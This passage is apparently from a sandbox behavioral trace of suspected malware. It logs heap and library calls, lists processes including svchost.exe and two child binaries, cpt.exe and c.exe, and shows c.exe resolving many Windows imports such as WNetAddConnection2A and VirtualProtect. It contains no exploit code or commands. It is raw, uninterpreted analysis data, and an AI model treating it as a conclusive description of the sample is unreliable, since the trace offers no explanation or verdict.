lpMem=0x5ef1f0) returned 1 [0050.163] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef1f0 | out: hHeap=0x5d0000) returned 1 [0050.167] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efac8) returned 1 [0050.167] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efac8 | out: hHeap=0x5d0000) returned 1 [0050.167] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7b78) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7b78 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef368) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef368 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef3d0) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef3d0 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef438) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef438 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef4a0) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef4a0 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6608) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6608 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7bc8) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7bc8 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e1688) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e1688 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef500) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef500 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef540) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef540 | out: hHeap=0x5d0000) returned 1 [0050.169] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef598) returned 1 [0050.169] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef598 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6650) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6650 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6698) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6698 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef600) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef600 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef640) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef640 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef6d8) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef6d8 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e66e0) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e66e0 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7c18) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7c18 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef748) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef748 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef7c0) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef7c0 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6728) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6728 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6770) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6770 | out: hHeap=0x5d0000) returned 1 [0050.170] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7c68) returned 1 [0050.170] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7c68 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef800) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef800 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7cb8) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7cb8 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef858) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef858 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e67b8) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e67b8 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef8c8) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef8c8 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6800) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6800 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef908) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef908 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef960) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef960 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6848) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6848 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7d08) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7d08 | out: hHeap=0x5d0000) returned 1 [0050.171] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef9b8) returned 1 [0050.171] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef9b8 | out: hHeap=0x5d0000) returned 1 [0050.172] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efa10) returned 1 [0050.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efa10 | out: hHeap=0x5d0000) returned 1 [0050.172] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6890) returned 1 [0050.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e6890 | out: hHeap=0x5d0000) returned 1 [0050.172] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efa50) returned 1 [0050.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5efa50 | out: hHeap=0x5d0000) returned 1 [0050.172] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef2a0) returned 1 [0050.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ef2a0 | out: hHeap=0x5d0000) returned 1 [0050.172] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ed138) returned 1 [0050.172] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ed138 | out: hHeap=0x5d0000) returned 1 [0050.237] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ed5c0) returned 1 [0050.237] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ed5c0 | out: hHeap=0x5d0000) returned 1 [0050.239] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0050.239] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ecee8) returned 1 [0050.239] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ecee8 | out: hHeap=0x5d0000) returned 1 [0050.239] HeapValidate (hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ed230) returned 1 [0050.239] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5ed230 | out: hHeap=0x5d0000) returned 1 [0050.241] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0050.241] FreeLibrary (hLibModule=0x76e10000) returned 1 [0050.242] FreeLibrary (hLibModule=0x74580000) returned 1 [0050.250] FreeLibrary (hLibModule=0x76e10000) returned 1 [0050.251] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.251] GetLastError () returned 0x57 [0050.251] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0050.251] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0050.251] GetLastError () returned 0x57 [0050.251] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x0 [0050.252] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18feac | out: phModule=0x18feac) returned 0 [0050.252] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x54c Thread: id = 3 os_tid = 0x408 Thread: id = 4 os_tid = 0xc0 Thread: id = 5 os_tid = 0x7f4 Thread: id = 6 os_tid = 0x67c Thread: id = 7 os_tid = 0x848 Thread: id = 8 os_tid = 0x9b8 Thread: id = 22 os_tid = 0x958 Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 9 os_tid = 0x7c0 Thread: id = 10 os_tid = 0x310 Thread: id = 11 os_tid = 0x128 Thread: id = 12 os_tid = 0x7c8 Thread: id = 13 os_tid = 0x6cc Thread: id = 14 os_tid = 0x644 Thread: id = 15 os_tid = 0x63c Thread: id = 16 os_tid = 0x154 Thread: id = 17 os_tid = 0x150 Thread: id = 18 os_tid = 0x120 Thread: id = 19 os_tid = 0x124 Thread: id = 20 os_tid = 0x118 Thread: id = 21 os_tid = 0x3fc Thread: id = 25 os_tid = 0x750 Thread: id = 26 os_tid = 0x424 Thread: id = 518 os_tid = 0x10ec Thread: id = 1093 os_tid = 0x1828 Thread: id = 1099 os_tid = 0x187c Thread: id = 1100 os_tid = 0x1884 Thread: id = 1104 os_tid = 0x18cc Thread: id = 1146 os_tid = 0x1938 Process: id = "3" image_name = "cpt.exe" filename = "c:\\program files\\common files\\system\\cpt.exe" page_root = "0x334b1000" os_pid = "0xae8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x15c" cmd_line = "\"C:\\Program Files\\Common Files\\System\\cpt.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0x8f8 Process: id = "4" image_name = "c.exe" filename = "c:\\program files\\common files\\system\\c.exe" page_root = "0x316c7000" os_pid = "0xb7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x15c" cmd_line = "\"C:\\Program Files\\Common Files\\System\\c.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x174 [0051.121] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0051.122] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0051.122] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0051.233] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0051.234] GetModuleHandleA (lpModuleName="MPR.dll") returned 0x73d30000 [0051.234] GetProcAddress (hModule=0x73d30000, lpProcName="WNetAddConnection2A") returned 0x73d3b949 [0051.234] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeA") returned 0x76e3ef75 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexA") returned 0x76e24c6b [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileA") returned 0x76e25444 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="GetNativeSystemInfo") returned 0x76e310b5 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedDecrement") returned 0x76e213f0 [0051.234] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0051.235] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0051.235] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0051.235] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0051.235] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0051.235] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0051.235] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="SetEnvironmentVariableA") returned 0x76e2e331 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExA") returned 0x76ea427f [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="CreateDirectoryW") returned 0x76e24259 [0051.236] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="HeapQueryInformation") returned 0x76ea43ff [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="MoveFileExW") returned 0x76e39b2d [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesExW") returned 0x76e24574 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0051.237] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesW") returned 0x76ea425f [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLCID") returned 0x76e23da5 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocale") returned 0x76e3ce46 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0051.238] GetProcAddress (hModule=0x76e10000, lpProcName="TryEnterCriticalSection") returned 0x77352500 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="SwitchToThread") returned 0x76e3efec [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0051.239] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObjectEx") returned 0x76e21151 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThread") returned 0x76e217ec [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoW") returned 0x76e23c42 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0051.240] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueue") returned 0x76e4b020 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="SignalObjectAndWait") returned 0x76e3f8a4 [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadPriority") returned 0x76e232bb [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadPriority") returned 0x76e243bf [0051.241] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="CreateTimerQueueTimer") returned 0x76e3f7eb [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="ChangeTimerQueueTimer") returned 0x76ea40eb [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteTimerQueueTimer") returned 0x76e3f7d3 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="GetNumaHighestNodeNumber") returned 0x76ea20b2 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessAffinityMask") returned 0x76e2a871 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadAffinityMask") returned 0x76e405a0 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="RegisterWaitForSingleObject") returned 0x76e4cb05 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWait") returned 0x76eae6ab [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadTimes") returned 0x76ea53eb [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryAndExitThread") returned 0x76e3d582 [0051.242] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExW") returned 0x76e21ae5 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualAlloc") returned 0x76e21856 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualFree") returned 0x76e2186e [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseSemaphore") returned 0x76e3d3ab [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPopEntrySList") returned 0x77354770 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedPushEntrySList") returned 0x77354757 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedFlushSList") returned 0x77352775 [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="QueryDepthSList") returned 0x7735471c [0051.243] GetProcAddress (hModule=0x76e10000, lpProcName="UnregisterWaitEx") returned 0x76e4b921 [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="HeapValidate") returned 0x76e3b17b [0051.244] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemInfo") returned 0x76e249ca 